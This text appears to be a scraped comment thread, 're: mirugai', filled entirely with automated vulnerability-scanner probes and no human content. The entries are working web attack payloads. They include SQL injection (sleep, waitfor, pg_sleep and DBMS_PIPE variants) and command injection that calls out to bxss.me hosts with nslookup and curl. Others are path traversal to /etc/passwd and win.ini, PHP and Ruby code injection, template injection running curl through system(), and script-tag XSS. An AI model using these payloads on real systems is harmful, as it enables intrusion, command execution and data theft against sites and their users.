1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
re: mirugai
"+"A".concat(70-3).concat(22*4).concat(107).concat(84).concat(113).concat(69)+(require"socket"
Socket.gethostbyname("hittc"+"gnlfvpni99b39.bxss.me.")[3].to_s)+"
re: mirugai
&(nslookup hitgwfmvcuutm508c3.bxss.me||perl -e "gethostbyname('hitgwfmvcuutm508c3.bxss.me')")&'\"`0&(nslookup hitgwfmvcuutm508c3.bxss.me||perl -e "gethostbyname('hitgwfmvcuutm508c3.bxss.me')")&`'
re: mirugai
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
re: mirugai
bxss.me/t/xss.html?%00
re: mirugai
Http://bxss.me/t/fit.txt
re: mirugai
'+'A'.concat(70-3).concat(22*4).concat(103).concat(83).concat(108).concat(76)+(require'socket'
Socket.gethostbyname('hitri'+'zymtpwqff22c2.bxss.me.')[3].to_s)+'
re: mirugai
|(nslookup hitxdgnhxhjpv5bcc2.bxss.me||perl -e "gethostbyname('hitxdgnhxhjpv5bcc2.bxss.me')")
re: mirugai
file:///etc/passwd
re: mirugai
http://bxss.me/t/fit.txt%3F.jpg
re: mirugai
`(nslookup hitxkbzfvmnnx9c375.bxss.me||perl -e "gethostbyname('hitxkbzfvmnnx9c375.bxss.me')")`
re: mirugai
/\../\../\../\../\../\../\../etc/passwd
re: mirugai
/etc/shells
re: mirugai
;(nslookup hitziofuioqih9fa2c.bxss.me||perl -e "gethostbyname('hitziofuioqih9fa2c.bxss.me')")|(nslookup hitziofuioqih9fa2c.bxss.me||perl -e "gethostbyname('hitziofuioqih9fa2c.bxss.me')")&(nslookup hitziofuioqih9fa2c.bxss.me||perl -e "gethostbyname('hitziofuioqih9fa2c.bxss.me')")
re: mirugai
/WEB-INF/web.xml
re: mirugai
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
re: mirugai
c:/windows/win.ini
re: mirugai
C:\WINDOWS\system32\drivers\etc\hosts
re: mirugai
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: mirugai
bxss.me
re: mirugai
../../../../../../../../../../windows/win.ini%00.jpg
re: mirugai
';print(md5(31337));$a='
re: mirugai
/../../../../../../../../../../boot.ini
re: mirugai
";print(md5(31337));$a="
re: mirugai
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini
re: mirugai
${@print(md5(31337))}
re: mirugai
'"
re: mirugai
..\..\..\..\..\..\..\..\windows\win.ini
re: mirugai
${@print(md5(31337))}\
re: mirugai
<!--
re: mirugai
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
re: mirugai
'.print(md5(31337)).'
re: mirugai
/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
re: mirugai
../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
re: mirugai
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
re: mirugai
unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\
re: mirugai
WEB-INF/web.xml
re: mirugai
WEB-INF\web.xml
re: mirugai
1
re: mirugai
1
re: mirugai
-1 OR 2+468-468-1=0+0+0+1 --
re: mirugai
-1 OR 3+468-468-1=0+0+0+1 --
re: mirugai
-1 OR 2+401-401-1=0+0+0+1
re: mirugai
-1 OR 3+401-401-1=0+0+0+1
re: mirugai
-1' OR 2+274-274-1=0+0+0+1 --
re: mirugai
-1' OR 3+274-274-1=0+0+0+1 --
re: mirugai
-1' OR 2+618-618-1=0+0+0+1 or '16SDjS9L'='
re: mirugai
-1' OR 3+618-618-1=0+0+0+1 or '16SDjS9L'='
re: mirugai
-1" OR 2+55-55-1=0+0+0+1 --
re: mirugai
-1" OR 3+55-55-1=0+0+0+1 --
re: mirugai
if(now()=sysdate(),sleep(15),0)
re: mirugai
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: mirugai
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: mirugai
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: mirugai
-1; waitfor delay '0:0:15' --
re: mirugai
-1); waitfor delay '0:0:15' --
re: mirugai
1 waitfor delay '0:0:15' --
re: mirugai
GecpTGd2'; waitfor delay '0:0:15' --
re: mirugai
-5 OR 276=(SELECT 276 FROM PG_SLEEP(15))--
re: mirugai
-5) OR 306=(SELECT 306 FROM PG_SLEEP(15))--
re: mirugai
-1)) OR 477=(SELECT 477 FROM PG_SLEEP(15))--
re: mirugai
KgjwVRQO' OR 210=(SELECT 210 FROM PG_SLEEP(15))--
re: mirugai
j89Yh4hi') OR 991=(SELECT 991 FROM PG_SLEEP(15))--
re: mirugai
LPV52EWc')) OR 265=(SELECT 265 FROM PG_SLEEP(15))--
re: mirugai
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: mirugai
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: mirugai
'||(select 1 from (select pg_sleep(15))x)||'
re: mirugai
''||(select 1 from (select pg_sleep(15))x)||''
re: mirugai
1'"
re: mirugai
@@rkTAq
re: mirugai
1
re: mirugai
1
re: mirugai
1
re: mirugai
1X2YENS7F0
re: mirugai
response.write(9130302*9720208)
re: mirugai
'+response.write(9130302*9720208)+'
re: mirugai
"+response.write(9130302*9720208)+"
re: mirugai
../../../../../../../../../../../../../../etc/passwd
re: mirugai
../../../../../../../../../../../../../../windows/win.ini
re: mirugai
<esi:include src="http://bxss.me/rpb.png"/>
re: mirugai
${9999474+10000404}
re: mirugai
file:///etc/passwd
re: mirugai
../
re: mirugai
)
re: mirugai
!(()&&!|*|*|
re: mirugai
redirtest.acx
re: mirugai
^(#$!@#$)(()))******
re: mirugai
echo ihcctv$()\ yqqkad\nz^xyu||a #' &echo ihcctv$()\ yqqkad\nz^xyu||a #|" &echo ihcctv$()\ yqqkad\nz^xyu||a #
re: mirugai
&echo whggwx$()\ vloalf\nz^xyu||a #' &echo whggwx$()\ vloalf\nz^xyu||a #|" &echo whggwx$()\ vloalf\nz^xyu||a #
re: mirugai
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
re: mirugai
'.gethostbyname(lc('hitph'.'jpojhnucf61e8.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(85).chr(118).chr(71).'
re: mirugai
|echo dylkxc$()\ zwnvzh\nz^xyu||a #' |echo dylkxc$()\ zwnvzh\nz^xyu||a #|" |echo dylkxc$()\ zwnvzh\nz^xyu||a #
re: mirugai
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
re: mirugai
".gethostbyname(lc("hitsv"."qrovhobu757a2.bxss.me."))."A".chr(67).chr(hex("58")).chr(112).chr(82).chr(105).chr(78)."
re: mirugai
expr 9000883966 - 917966
re: mirugai
/etc/shells
re: mirugai
gethostbyname(lc('hitwt'.'fewzpinz6632c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(67).chr(103).chr(81)
re: mirugai
(nslookup -q=cname hitnhkabuttigf05c5.bxss.me||curl hitnhkabuttigf05c5.bxss.me))
re: mirugai
../../../../../../../../../../../../../../etc/shells
re: mirugai
ctime
sleep
p0
(I30
tp1
Rp2
.
re: mirugai
$(nslookup -q=cname hituatdskkehw6ac4c.bxss.me||curl hituatdskkehw6ac4c.bxss.me)
re: mirugai
c:/windows/win.ini
re: mirugai
&nslookup -q=cname hitispydkvhbg66109.bxss.me&'\"`0&nslookup -q=cname hitispydkvhbg66109.bxss.me&`'
re: mirugai
bxss.me
re: mirugai
&(nslookup -q=cname hitltsgtvcqzladc41.bxss.me||curl hitltsgtvcqzladc41.bxss.me)&'\"`0&(nslookup -q=cname hitltsgtvcqzladc41.bxss.me||curl hitltsgtvcqzladc41.bxss.me)&`'
re: mirugai
Http://bxss.me/t/fit.txt
re: mirugai
|(nslookup -q=cname hitcrrortvlloeeb8c.bxss.me||curl hitcrrortvlloeeb8c.bxss.me)
re: mirugai
http://bxss.me/t/fit.txt?.jpg
re: mirugai
`(nslookup -q=cname hitmhrzlzeojm4c705.bxss.me||curl hitmhrzlzeojm4c705.bxss.me)`
re: mirugai
;(nslookup -q=cname hitfqsatihdrxdc5ed.bxss.me||curl hitfqsatihdrxdc5ed.bxss.me)|(nslookup -q=cname hitfqsatihdrxdc5ed.bxss.me||curl hitfqsatihdrxdc5ed.bxss.me)&(nslookup -q=cname hitfqsatihdrxdc5ed.bxss.me||curl hitfqsatihdrxdc5ed.bxss.me)
re: mirugai
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: mirugai
|(nslookup${IFS}-q${IFS}cname${IFS}hitffbeomedrl3d219.bxss.me||curl${IFS}hitffbeomedrl3d219.bxss.me)
re: mirugai
';print(md5(31337));$a='
re: mirugai
&(nslookup${IFS}-q${IFS}cname${IFS}hitounsqtfhmzc3a92.bxss.me||curl${IFS}hitounsqtfhmzc3a92.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitounsqtfhmzc3a92.bxss.me||curl${IFS}hitounsqtfhmzc3a92.bxss.me)&`'
re: mirugai
";print(md5(31337));$a="
re: mirugai
HttP://bxss.me/t/xss.html?%00
re: mirugai
${@print(md5(31337))}
re: mirugai
bxss.me/t/xss.html?%00
re: mirugai
'"()
re: mirugai
${@print(md5(31337))}\
re: mirugai
'&&sleep(27*1000)*hlprqx&&'
re: mirugai
'.print(md5(31337)).'
re: mirugai
"&&sleep(27*1000)*lnffoz&&"
re: mirugai
"+"A".concat(70-3).concat(22*4).concat(117).concat(66).concat(111).concat(67)+(require"socket"
Socket.gethostbyname("hitpu"+"dnkxvnzf805fd.bxss.me.")[3].to_s)+"
re: mirugai
'||sleep(27*1000)*ysomhx||'
re: mirugai
'+'A'.concat(70-3).concat(22*4).concat(103).concat(80).concat(98).concat(90)+(require'socket'
Socket.gethostbyname('hiteq'+'jwypxacj688c0.bxss.me.')[3].to_s)+'
re: mirugai
"||sleep(27*1000)*qeecqa||"
re: mirugai
'A'.concat(70-3).concat(22*4).concat(102).concat(80).concat(104).concat(85)+(require'socket'
Socket.gethostbyname('hitsm'+'dyvbpnas3128b.bxss.me.')[3].to_s)
re: mirugai
'"
re: mirugai
<!--
re: mirugai
replies
re: mirugai
replies
re: mirugai
replies/.
re: mirugai
'"()&%<zzz><ScRiPt >a3w7(9869)</ScRiPt>
re: mirugai
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitlzqhpofwcg2d0e3.bxss.me")}}
re: mirugai
'"()&%<zzz><ScRiPt >a3w7(9624)</ScRiPt>
re: mirugai
9932617
re: mirugai
ZH2Vezx7
re: mirugai
*1
re: mirugai
*1
re: mirugai
*1
re: mirugai
*1
re: mirugai
-1 OR 5*5=25 --
re: mirugai
-1 OR 5*5=26 --
re: mirugai
-1 OR 5*5=25
re: mirugai
-1 OR 5*5=26
re: mirugai
*if(now()=sysdate(),sleep(15),0)
re: mirugai
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: mirugai
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: mirugai
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: mirugai
-1; waitfor delay '0:0:15' --
re: mirugai
-1); waitfor delay '0:0:15' --
re: mirugai
-1 waitfor delay '0:0:15' --
re: mirugai
pDpwILzD'; waitfor delay '0:0:15' --
re: mirugai
-1 OR 223=(SELECT 223 FROM PG_SLEEP(15))--
re: mirugai
-1) OR 391=(SELECT 391 FROM PG_SLEEP(15))--
re: mirugai
-1)) OR 146=(SELECT 146 FROM PG_SLEEP(15))--
re: mirugai
ya6HxXxo' OR 464=(SELECT 464 FROM PG_SLEEP(15))--
re: mirugai
RSPbzKDw') OR 453=(SELECT 453 FROM PG_SLEEP(15))--
re: mirugai
vfYgdghb')) OR 979=(SELECT 979 FROM PG_SLEEP(15))--
re: mirugai
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: mirugai
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: mirugai
'||(select 1 from (select pg_sleep(15))x)||'
re: mirugai
''||(select 1 from (select pg_sleep(15))x)||''
re: mirugai
'"
re: mirugai
@@Ysydm
re: mirugai
(select 198766*667891)
re: mirugai
(select 198766*667891 from DUAL)
re: mirugai
o6t4wFlh
re: mirugai
*1
re: mirugai
*1
re: mirugai
*1
re: mirugai
*1
re: mirugai
-1 OR 5*5=25 --
re: mirugai
-1 OR 5*5=26 --
re: mirugai
-1 OR 5*5=25
re: mirugai
-1 OR 5*5=26
re: mirugai
*if(now()=sysdate(),sleep(15),0)
re: mirugai
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: mirugai
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: mirugai
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: mirugai
-1; waitfor delay '0:0:15' --
re: mirugai
-1); waitfor delay '0:0:15' --
re: mirugai
-1 waitfor delay '0:0:15' --
re: mirugai
Iumfbtrq'; waitfor delay '0:0:15' --
re: mirugai
-1 OR 638=(SELECT 638 FROM PG_SLEEP(15))--
re: mirugai
-1) OR 708=(SELECT 708 FROM PG_SLEEP(15))--
re: mirugai
-1)) OR 161=(SELECT 161 FROM PG_SLEEP(15))--
re: mirugai
Wr3Ai1gk' OR 855=(SELECT 855 FROM PG_SLEEP(15))--
re: mirugai
PPLX176j') OR 796=(SELECT 796 FROM PG_SLEEP(15))--
re: mirugai
SX8RraDb')) OR 37=(SELECT 37 FROM PG_SLEEP(15))--
re: mirugai
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: mirugai
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: mirugai
'||(select 1 from (select pg_sleep(15))x)||'
re: mirugai
''||(select 1 from (select pg_sleep(15))x)||''
re: mirugai
'"
re: mirugai
@@lbftJ
re: mirugai
(select 198766*667891)
re: mirugai
(select 198766*667891 from DUAL)
re: mirugai
k1GPPvUK
re: mirugai
*1
re: mirugai
*1
re: mirugai
*1
re: mirugai
*1
re: mirugai
-1 OR 5*5=25 --
re: mirugai
-1 OR 5*5=26 --
re: mirugai
-1 OR 5*5=25
re: mirugai
-1 OR 5*5=26
re: mirugai
*if(now()=sysdate(),sleep(15),0)
re: mirugai
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: mirugai
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: mirugai
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: mirugai
-1; waitfor delay '0:0:15' --
re: mirugai
-1); waitfor delay '0:0:15' --
re: mirugai
-1 waitfor delay '0:0:15' --
re: mirugai
CQCvPnVe'; waitfor delay '0:0:15' --
re: mirugai
-1 OR 242=(SELECT 242 FROM PG_SLEEP(15))--
re: mirugai
-1) OR 396=(SELECT 396 FROM PG_SLEEP(15))--
re: mirugai
-1)) OR 449=(SELECT 449 FROM PG_SLEEP(15))--
re: mirugai
88jnQauW' OR 155=(SELECT 155 FROM PG_SLEEP(15))--
re: mirugai
Bo8iGmG4') OR 274=(SELECT 274 FROM PG_SLEEP(15))--
re: mirugai
NlCbdCYU')) OR 249=(SELECT 249 FROM PG_SLEEP(15))--
re: mirugai
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: mirugai
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: mirugai
'||(select 1 from (select pg_sleep(15))x)||'
re: mirugai
''||(select 1 from (select pg_sleep(15))x)||''
re: mirugai
'"
re: mirugai
@@hHS0H
re: mirugai
(select 198766*667891)
re: mirugai
(select 198766*667891 from DUAL)
re: mirugai
3Hht7mpN
re: mirugai
1*
re: mirugai
1*
re: mirugai
1*
re: mirugai
1*
re: mirugai
-1 OR 2+951-951-1=0+0+0+1
re: mirugai
-1 OR 3+951-951-1=0+0+0+1
re: mirugai
if(now()=sysdate(),sleep(15),0)
re: mirugai
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: mirugai
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: mirugai
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: mirugai
-1; waitfor delay '0:0:15' --
re: mirugai
-1); waitfor delay '0:0:15' --
re: mirugai
1 waitfor delay '0:0:15' --
re: mirugai
WhB2Q9K0'; waitfor delay '0:0:15' --
re: mirugai
-5 OR 45=(SELECT 45 FROM PG_SLEEP(15))--
re: mirugai
-5) OR 649=(SELECT 649 FROM PG_SLEEP(15))--
re: mirugai
-1)) OR 264=(SELECT 264 FROM PG_SLEEP(15))--
re: mirugai
AFg6JxdQ' OR 726=(SELECT 726 FROM PG_SLEEP(15))--
re: mirugai
RkOqGbn1') OR 454=(SELECT 454 FROM PG_SLEEP(15))--
re: mirugai
YtmHn4OE')) OR 686=(SELECT 686 FROM PG_SLEEP(15))--
re: mirugai
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: mirugai
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: mirugai
'||(select 1 from (select pg_sleep(15))x)||'
re: mirugai
''||(select 1 from (select pg_sleep(15))x)||''
re: mirugai
1'"
re: mirugai
@@UGwK3
re: mirugai
lyNPc5EV
re: mirugai
*1
re: mirugai
*1
re: mirugai
*1
re: mirugai
*1
re: mirugai
-1 OR 5*5=25 --
re: mirugai
-1 OR 5*5=26 --
re: mirugai
-1 OR 5*5=25
re: mirugai
-1 OR 5*5=26
re: mirugai
*if(now()=sysdate(),sleep(15),0)
re: mirugai
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: mirugai
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: mirugai
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: mirugai
-1; waitfor delay '0:0:15' --
re: mirugai
-1); waitfor delay '0:0:15' --
re: mirugai
-1 waitfor delay '0:0:15' --
re: mirugai
L4ibb0AA'; waitfor delay '0:0:15' --
re: mirugai
-1 OR 66=(SELECT 66 FROM PG_SLEEP(15))--
re: mirugai
-1) OR 528=(SELECT 528 FROM PG_SLEEP(15))--
re: mirugai
-1)) OR 495=(SELECT 495 FROM PG_SLEEP(15))--
re: mirugai
pQN3s8I2' OR 663=(SELECT 663 FROM PG_SLEEP(15))--
re: mirugai
nipqdQr7') OR 275=(SELECT 275 FROM PG_SLEEP(15))--
re: mirugai
u1q19Oek')) OR 374=(SELECT 374 FROM PG_SLEEP(15))--
re: mirugai
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: mirugai
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: mirugai
